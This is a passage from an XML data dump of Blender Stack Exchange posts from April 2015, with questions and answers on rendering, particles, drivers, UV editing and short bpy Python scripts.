  <row Id="28258" PostTypeId="2" ParentId="27669" CreationDate="2015-04-08T18:20:19.827" Score="3" Body="&lt;p&gt;The reason this happens is cause the message actuator actually takes a tic to send. I don't know if this is on the sending end, the receiving end, or somewhere between, but Mike Pan wrote it, so it has to be true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also; I'm not quire sure what your question is&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;My animation plays to fast&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My animation plays too slow&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My animation Doesn't finish&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My hair is falling out &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you specify, I might be able to help better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current ideas for solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Connect the logic straight into the armature, rather then sending a message. I know it's considered sloppy, but if it works, hey! who can blame you?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;OR&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Put all the logic on the armature rather than on the camera.&amp;lt;-- my pick !&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-04-08T18:20:19.827" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28259" PostTypeId="2" ParentId="27531" CreationDate="2015-04-08T18:34:07.667" Score="3" Body="&lt;p&gt;It really depends on what type of motion graphics you are trying to render. I would question whether you need the full 576 samples to achieve the renders you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Decrease AA Samples&lt;/strong&gt; - If you switch to Branched Path Tracing, keeping square samples on, I would try reducing the effective AA samples to 20 or under (try 4 or 5 in square sample mode). You can increase the other sample rates to get multiples that equal 576 (although you may not need it for Transmission, Volume or Subsurface, depends on your scene). Decreasing the AA samples will speed up background tile rendering significantly. As long as you have enough AA quality for the edges of your rendered objects, you should be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Turn Off Sample All Indirect Lights&lt;/strong&gt; - Also I'd turn off &quot;Sample All Indirect Lights&quot; if it doesn't affect your scene quality noticeably. It will make quite a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Optimize Tile Size&lt;/strong&gt; - Small tile sizes (16-32 for CPU) seem to be more efficient around the edges of objects where there is a transition area between object and background. However, once the tiles are rendering 100% background it seems a little larger tile size (64-128) is more efficient in Cycles. You need to find the optimum balance between the 2 sizes depending on how much background is being rendered in the frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/buC41.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these suggestions do not help, perhaps you could share a sample frame render so we can see the type of scenes you are trying to render.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-04-08T18:43:32.587" LastActivityDate="2015-04-08T18:43:32.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28260" PostTypeId="2" ParentId="28239" CreationDate="2015-04-08T18:47:25.830" Score="4" Body="&lt;p&gt;I cobbled together some python which computes the center of the circle through the 3 selected vertices of a mesh and assigns the 3D cursor to that location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://web.purplefrog.com/~thoth/blender/python-cookbook/compute-circle-center.html&quot; rel=&quot;nofollow&quot;&gt;http://web.purplefrog.com/~thoth/blender/python-cookbook/compute-circle-center.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can paste that code into a blender Text Editor window and Run Script.  Here is a copy of the code in-line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import *&#xA;&#xA;def replace_col(M, i, C):&#xA;    for r in range(len(M)):&#xA;        M[r][i] = C[r]&#xA;&#xA;def compute_circle_center_(B, C, N):&#xA;&#xA;    m_d = Matrix( [&#xA;        B,C,N&#xA;    ])&#xA;&#xA;    col = [B.dot(B)*0.5,&#xA;    C.dot(C)*0.5,&#xA;    0]&#xA;&#xA;    m_x = m_d.copy()&#xA;    replace_col(m_x, 0, col)&#xA;&#xA;    m_y = m_d.copy()&#xA;    replace_col(m_y, 1, col)&#xA;&#xA;    m_z = m_d.copy()&#xA;    replace_col(m_z, 2, col)&#xA;&#xA;    m_d_d = m_d.determinant()&#xA;&#xA;    x = m_x.determinant() / m_d_d&#xA;    y = m_y.determinant() / m_d_d&#xA;    z = m_z.determinant() / m_d_d&#xA;&#xA;    #print(m_d)&#xA;    #print(m_x)&#xA;    #print(m_y)&#xA;    #print(m_z)&#xA;&#xA;    return Vector([x,y,z])&#xA;&#xA;def compute_circle_center(A,B,C):&#xA;    #print (&quot;%r\t %r\t %r&quot;%(A,B,C))&#xA;    B_ = B-A&#xA;    C_ = C-A&#xA;    N = B_.cross(C_)&#xA;    #print (&quot;%r\t %r\t %r&quot;%(B_,C_, N))&#xA;&#xA;    return A+compute_circle_center_(B_, C_, N)&#xA;&#xA;def space_3d():&#xA;    for area in bpy.context.screen.areas:&#xA;        for space in area.spaces:&#xA;            if space.type=='VIEW_3D':&#xA;                return space&#xA;    raise AssertionError(&quot;could not find any editor space of type VIEW_3D&quot;)&#xA;&#xA;def mission():&#xA;    obj = bpy.context.active_object&#xA;    verts=[]&#xA;    if bpy.context.mode == 'EDIT_MESH':&#xA;        bm = bmesh.from_edit_mesh(obj.data)&#xA;        for v in bm.verts:&#xA;            if v.select:&#xA;                verts.append(obj.matrix_world * v.co)&#xA;    else:&#xA;        for v in obj.data.vertices:&#xA;            if v.select:&#xA;                verts.append(obj.matrix_world * v.co)&#xA;    if len(verts) != 3:&#xA;        raise AssertionError(&quot;You must select exactly 3 vertices from the mesh, not %d&quot;%len(verts))&#xA;&#xA;    space_3d().cursor_location = compute_circle_center(verts[0], verts[1], verts[2])&#xA;&#xA;#&#xA;#&#xA;#&#xA;&#xA;mission()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-04-08T18:47:25.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28261" PostTypeId="1" AcceptedAnswerId="28267" CreationDate="2015-04-08T19:11:43.380" Score="8" ViewCount="1670" Body="&lt;p&gt;I've got an animation which contains some force fields and particle systems. I'd like to pause the physics from time to time, allowing an animated camera to get a look at things from various angles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to pause the physics engine while other animations progress normally?&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="3078" LastEditDate="2015-04-08T20:59:22.817" LastActivityDate="2016-12-25T09:34:24.330" Title="How to pause physics simulations" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28262" PostTypeId="1" CreationDate="2015-04-08T19:34:12.097" Score="2" ViewCount="141" Body="&lt;p&gt;I want to render a rigid body simulation with ~20k objects.&#xA;Because of that, Cycles needs about 5 minutes / frame to build only the BVH data of those 20k objects (and I have a powerful machine). Is there any way to join the objects to one single object while maintaining its individual movements? I tried baking the simulation to keyframes, but when I join the objects, their individual transformations merge as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, I only tested this with a smaller simulation, because baking 20k objects to keyframes takes like ages (hasn't even finished yet...) So maybe there is another way to avoid the long BVH building time?&#xA;Thanks in advance for any help! :)&lt;/p&gt;&#xA;" OwnerUserId="13686" LastActivityDate="2015-04-08T20:40:57.323" Title="Joining Rigid Body objects after baking to shorten BVH building time" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28263" PostTypeId="1" AcceptedAnswerId="28264" CreationDate="2015-04-08T19:56:50.740" Score="6" ViewCount="2947" Body="&lt;p&gt;I'm new to Blender (using version 2.74); I was looking for a way to position several Suzannes in a circle and came across &lt;a href=&quot;https://blender.stackexchange.com/questions/510/how-can-i-duplicate-a-mesh-along-a-curve&quot;&gt;this question&lt;/a&gt; which has an answer based on this &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFrames&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender wiki page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed it (several times from scratch, actually), trying to position 6 Suzannes in a circle. It works for me up to the point when I do &lt;kbd&gt;Ctr&lt;/kbd&gt; + &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; to &lt;em&gt;make duplicates real&lt;/em&gt;. When I do this, my 6 Suzannes are still in a circle but the &lt;em&gt;Outliner&lt;/em&gt; shows there are now 100 Suzannes in the scene; which is actually true - 94 Suzannes are hidden under one of the 6 other ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number 100 happens to coincide with the default setting of &lt;em&gt;Path Animation -&gt; Frames&lt;/em&gt;; I made sure to change that to 6 as mentioned &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Duplication/DupliFrames&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the tutorial&lt;/a&gt;. Which doesn't fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does the number of Suzannes go from 6 up to 100 when I &lt;em&gt;make duplicates real&lt;/em&gt;? Is there a bug or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="13649" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-04-08T20:12:22.290" Title="Make duplicates real produces too many objects" Tags="&lt;mesh&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28264" PostTypeId="2" ParentId="28263" CreationDate="2015-04-08T20:12:22.290" Score="5" Body="&lt;p&gt;This is because there were always 100 Suzannes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dupliframes will always create the same number of duplicates, even if the object is not moving. By default it's set to duplicate frames 1-100. If you only want to duplicate frames 1-6, then change the start and end values to match the desired range:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6swKk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-08T20:12:22.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28265" PostTypeId="1" AcceptedAnswerId="28271" CreationDate="2015-04-08T20:31:48.163" Score="2" ViewCount="130" Body="&lt;p&gt;I would like to have multiple file output nodes in my comp scene and want to render seperate ranges for each node. Is this possible ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="13688" LastActivityDate="2015-04-08T21:53:27.310" Title="Compositor: File output with custom range" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28266" PostTypeId="2" ParentId="28262" CreationDate="2015-04-08T20:40:57.323" Score="1" Body="&lt;p&gt;If you &lt;a href=&quot;http://blender.org/manual/modeling/objects/duplication/introduction.html#linked-duplicates&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; the objects with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;&gt; Object data&lt;/em&gt;, one copy of the &lt;a href=&quot;http://blender.org/manual/data_system/datablocks.html&quot; rel=&quot;nofollow&quot;&gt;mesh data&lt;/a&gt; will be shared between all 20k objects (as opposed to 20k copies of the same data).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While not as efficient as whole-object &lt;em&gt;instances&lt;/em&gt; (e.g. &lt;a href=&quot;http://blender.org/manual/modeling/objects/duplication/dupligroup.html&quot; rel=&quot;nofollow&quot;&gt;dupli objects&lt;/a&gt;), AFAIK this is about as close as you can get while still keeping the rigid body sim.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-08T20:40:57.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28267" PostTypeId="2" ParentId="28261" CreationDate="2015-04-08T20:50:42.170" Score="3" Body="&lt;p&gt;To the best of my knowledge you can't pause the playback of the particles via the physics system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In order to accomplish this effect, you need to:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;render the original particle sequence with the standard timing&lt;/li&gt;&#xA;&lt;li&gt;render extra shots of frozen particles with Camera 2 and then edit the shots together in the VSE&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In order to do that you need a way to freeze the particles in time so that you can render out the Camera 2 shots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this by setting up the particles to use a &lt;code&gt;DupliObject&lt;/code&gt;, and then using the &quot;Make Duplicates Real&quot; command (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;) on the correct frames. I found it helpful to also parent the frozen particles to a new parent object.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here's what I did to accomplish this.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set up your initial particle system and animation (I chose a 10&#xA;particle, 50 frame sequence for the test). You will need to set&#xA;particle duplication to an object or group of objects. If you just want&#xA;a small point, use a small sphere)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You may want to bake your particle sim to disk and then switch your&#xA;particle system to read from external to avoid the simulation&#xA;changing.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Move the timeline to the frame you want to freeze (let's choose frame 20)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the particle emitter and use &quot;Make Duplicates Real&quot; command (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Snap cursor to emitter and create new object (empty, plane, etc).&#xA;We'll call this one &lt;code&gt;Frame20Parent&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hide the emitter. Select new particle duplicates, then parent them&#xA;to the &lt;code&gt;Frame20Parent&lt;/code&gt; object with &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;&#xA;(keep transformations)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now, you can render out frames from your Camera 2 animation with the&#xA;particles frozen in place.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rFtO4.jpg&quot; alt=&quot;Screen shot of particle emitters and duplicates frozen at frame 20 and 30&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Please note: I've spaced out the duplicate groups for clarity, but you would have to keep them in the same location as the original emitter object so the particle locations would match.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this solution does not work for your project, please provide additional requirements and I can amend the answer.&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="15795" LastEditDate="2016-12-25T09:34:24.330" LastActivityDate="2016-12-25T09:34:24.330" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28268" PostTypeId="1" AcceptedAnswerId="28512" CreationDate="2015-04-08T21:07:30.627" Score="0" ViewCount="72" Body="&lt;p&gt;I've been doing some animations involving drivers and I got some messages in my xterm:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cyclic OBU voxel -8.0,-4.5&#xA;cyclic OBU voxel -8.0,-5.0&#xA;cyclic OBU voxel -8.0,-5.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As of 2015-Apr-8 there are absolutely zero google search results for &lt;code&gt;blender &quot;cyclic OBU&quot;&lt;/code&gt;. I figured I'd create this question so future google search results are informative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does this message mean?  If it's a problem, how do you solve it?  If it's not a problem, how do you get blender to stop being a hypochondriac?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(blender version 2.74, just in case that matters)&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-04-15T14:56:02.793" Title="What does it mean when blender prints &quot;cyclic OBU&quot; to the console?" Tags="&lt;drivers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28269" PostTypeId="1" CreationDate="2015-04-08T21:16:40.960" Score="10" ViewCount="2971" Body="&lt;p&gt;I would like to be able to access properties of the current scene such as render.fps, frame_start, and frame_end from within a python driver script.  I have some data that is defined in terms of seconds, and I'd like the drivers consuming that data to work in two different scenes which have different frame rates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: I tried using bpy.context.scene, but it turns out that is often wrong.  Let me be specific:  The driver is being evaluated to calculate the position of an object in scene &quot;cave&quot; and bpy.context.scene refers to scene &quot;splash&quot; .  In a 1-scene .blend bpy.context.scene works fine.  In a multi-scene .blend, bpy.context is not necessarily populated with what a reasonable person would consider 'the context of the driver'.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-04-09T18:57:55.693" LastActivityDate="2021-02-21T11:19:54.547" Title="How can a blender driver python script access scene properties like FPS?" Tags="&lt;drivers&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28270" PostTypeId="1" AcceptedAnswerId="28272" CreationDate="2015-04-08T21:41:43.807" Score="1" ViewCount="458" Body="&lt;p&gt;I am new to Blender. I downloaded a blender file with 2 rigged arms. I want to edit the shape of the arms, but when I press A or right click to select, I can only select the bones instead of the &quot;skin&quot; of the model. So what can I do? &lt;/p&gt;&#xA;" OwnerUserId="13691" LastEditorUserId="2217" LastEditDate="2015-04-08T22:41:28.780" LastActivityDate="2015-04-08T22:41:28.780" Title="How to edit &quot;skin&quot; instead of edit bones?" Tags="&lt;objects&gt;&lt;armature&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28271" PostTypeId="2" ParentId="28265" CreationDate="2015-04-08T21:53:27.310" Score="2" Body="&lt;p&gt;Create a frame change callback and drive the mute of those output nodes with script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def frame_change_handler(scene):&#xA;    nodes = scene.node_tree.nodes&#xA;    nodes['File Output 1'].mute = not (15 &amp;lt; scene.frame_current &amp;lt; 50)&#xA;    nodes['File Output 2'].mute = not (45 &amp;lt; scene.frame_current &amp;lt; 55)&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(frame_change_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adjust the names of the nodes and the ranges like you want. You can also insert a driver to mute property in outliner dataview but such drivers on nodes do not update correctly, that's why it needs to be frame change handler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to change something in the script and want to re-run it call &lt;code&gt;bpy.app.handlers.frame_change_pre.clear()&lt;/code&gt; in console first. Enjoy:)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-08T21:53:27.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28272" PostTypeId="2" ParentId="28270" CreationDate="2015-04-08T21:56:58.607" Score="1" Body="&lt;p&gt;This could possibly be because their selection has been limited in the outliner. To make sure this isn't the case, check and see if all of the pointer icons in the outliner are white, and not grey. Click them to change if they are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UV3hT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could also be if you are in the wrong mode. Armatures have three modes;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZUe0e.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;em&gt;Object mode&lt;/em&gt; is portrayed by an orange cube, it allows you to change which object you can select &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mxlKV.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;em&gt;Edit mode&lt;/em&gt; is portrayed by a grey cube with four orange studs on its front (I suspect this is the one you're in) it only allows you to change the shape of the bones in your armature &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qqTrb.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;em&gt;Pose mode&lt;/em&gt; is portrayed by a small white man waving his hands around like he's trying to slow down a Taxi, it allows you to wiggle the bones around once they have been shaped right in edit mode. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You need to switch to &lt;strong&gt;object&lt;/strong&gt; mode in order to select the mesh &quot;skin&quot; of your object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gn6NY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2015-04-08T22:03:38.070" LastActivityDate="2015-04-08T22:03:38.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28273" PostTypeId="2" ParentId="28235" CreationDate="2015-04-08T22:17:54.407" Score="9" Body="&lt;p&gt;There's no need for operators, nor the bmesh module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.context.object&#xA;assert ob is not None and ob.type == 'MESH', &quot;active object invalid&quot;&#xA;&#xA;# ensure we got the latest assignments and weights&#xA;ob.update_from_editmode()&#xA;me = ob.data&#xA;&#xA;# create vertex group lookup dictionary for names&#xA;vgroup_names = {vgroup.index: vgroup.name for vgroup in ob.vertex_groups}&#xA;&#xA;# create dictionary of vertex group assignments per vertex&#xA;vgroups = {v.index: [vgroup_names[g.group] for g in v.groups] for v in me.vertices}&#xA;&#xA;# test: print list of vertex group names vertex 0 is in&#xA;print(vgroups[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-04-08T22:17:54.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28274" PostTypeId="1" AcceptedAnswerId="28275" CreationDate="2015-04-08T23:14:41.483" Score="2" ViewCount="258" Body="&lt;p&gt;In trying to place an image onto a surface (Blender v2.74), i've become unable to use the picture i've attached. The file format of the image is .png, and although it uploads fine, when switching to UV edit mode, nothing appears in the left-hand window [see pictures for reference].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anybody explain to me what the issue is here, and how to fix it?&#xA; &lt;img src=&quot;https://i.stack.imgur.com/KY632.png&quot; alt=&quot;default edit mode view&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9JIq.png&quot; alt=&quot;UV edit mode view&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13692" LastActivityDate="2015-04-08T23:29:06.293" Title="Image not appearing in UV edit mode" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28275" PostTypeId="2" ParentId="28274" CreationDate="2015-04-08T23:29:06.293" Score="4" Body="&lt;p&gt;You have no image selected, you need to select the image for it to be displayed.&#xA;To select an image, you must click the little image icon (&lt;img src=&quot;https://i.stack.imgur.com/SdMHS.png&quot; alt=&quot;enter image description here&quot;&gt;) in the bottom center of the uv image editor and find your image. Then select your image. If you have many images, you my need to you the search function to find the right one, just type the name of the title. of course, you only have one, so you don't need that. :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qnSBT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-04-08T23:29:06.293" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28276" PostTypeId="1" CreationDate="2015-04-08T23:54:09.663" Score="7" ViewCount="4487" Body="&lt;p&gt;I make my animation and now I realized that its pointed in wrong direction I used -y (native blender) as direction but I need to be pointed at x axis so what would be the easiest way to rotate whole animation, to switch -y with x :)&lt;/p&gt;&#xA;" OwnerUserId="12996" LastActivityDate="2020-12-01T20:45:55.217" Title="Rotate whole animation by 90 degrees" Tags="&lt;animation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28277" PostTypeId="1" AcceptedAnswerId="28278" CreationDate="2015-04-09T02:15:34.853" Score="3" ViewCount="985" Body="&lt;p&gt;One of my students has designed a light saber and I can't figure out why the lightsaber is not showing up in the cycle render.  Could someone help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B6CUhZCXLU7nUHNWUHdNb1R4OVE/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0B6CUhZCXLU7nUHNWUHdNb1R4OVE/view?usp=sharing&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Wapq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="13694" LastEditorUserId="47" LastEditDate="2015-04-09T07:30:43.677" LastActivityDate="2015-05-27T17:47:51.170" Title="Object doesn't show in render" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28278" PostTypeId="2" ParentId="28277" CreationDate="2015-04-09T02:20:44.627" Score="4" Body="&lt;p&gt;In the object data tab of the saber, set duplication to &quot;None.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4XX7E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2015-04-09T02:20:44.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28279" PostTypeId="2" ParentId="28254" CreationDate="2015-04-09T03:13:48.957" Score="9" Body="&lt;p&gt;Yes, you can definitely do this with drivers. Here's how:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Ijsw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this first image you can see that I've created 2 spheres, each with a Basis shapekey. Sphere 1 has a second shapekey called Sphere1Key, which changes the sphere to a fatter shape. This key is animated (keyframed) from 0 to 1 over 50 frames. You can see the value field is green due to the keyframed status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second sphere also has a second shapekey called Sphere2Key, which deforms the sphere in the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LbkFo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the Sphere2Key shapekey, I have right clicked on the value field and selected Add Driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Sphere 2 still selected I open up the Graph Editor and switch from F-Curve Drivers mode with the dropmenu in the toolbar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see in the left panel that the Sphere.001 is selected and I've also selected the Value for the Sphere2Key shapekey. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now we just have to map the value from the first sphere's shapekey to this one.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, press N to bring up the right property panel. In the Drivers area we want these settings:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change type to Scripted Expression.&lt;/li&gt;&#xA;&lt;li&gt;In Expr, add a variable name (I've used &lt;em&gt;getSphere1KeyValue&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Click Add Variable button&lt;/li&gt;&#xA;&lt;li&gt;In the variable name field paste in the name from the Expr box above (&lt;em&gt;getSphere1KeyValue&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Change the variable type to Single Property&lt;/li&gt;&#xA;&lt;li&gt;Change the Prop type to Key&lt;/li&gt;&#xA;&lt;li&gt;Change the selected Key id block to &quot;Key&quot; or whatever the name of the id block for the keyframed data for the Sphere1 shapekey value is &lt;em&gt;(The available values list automatically when you click in this field. If you're not sure what it should be you can select Sphere1 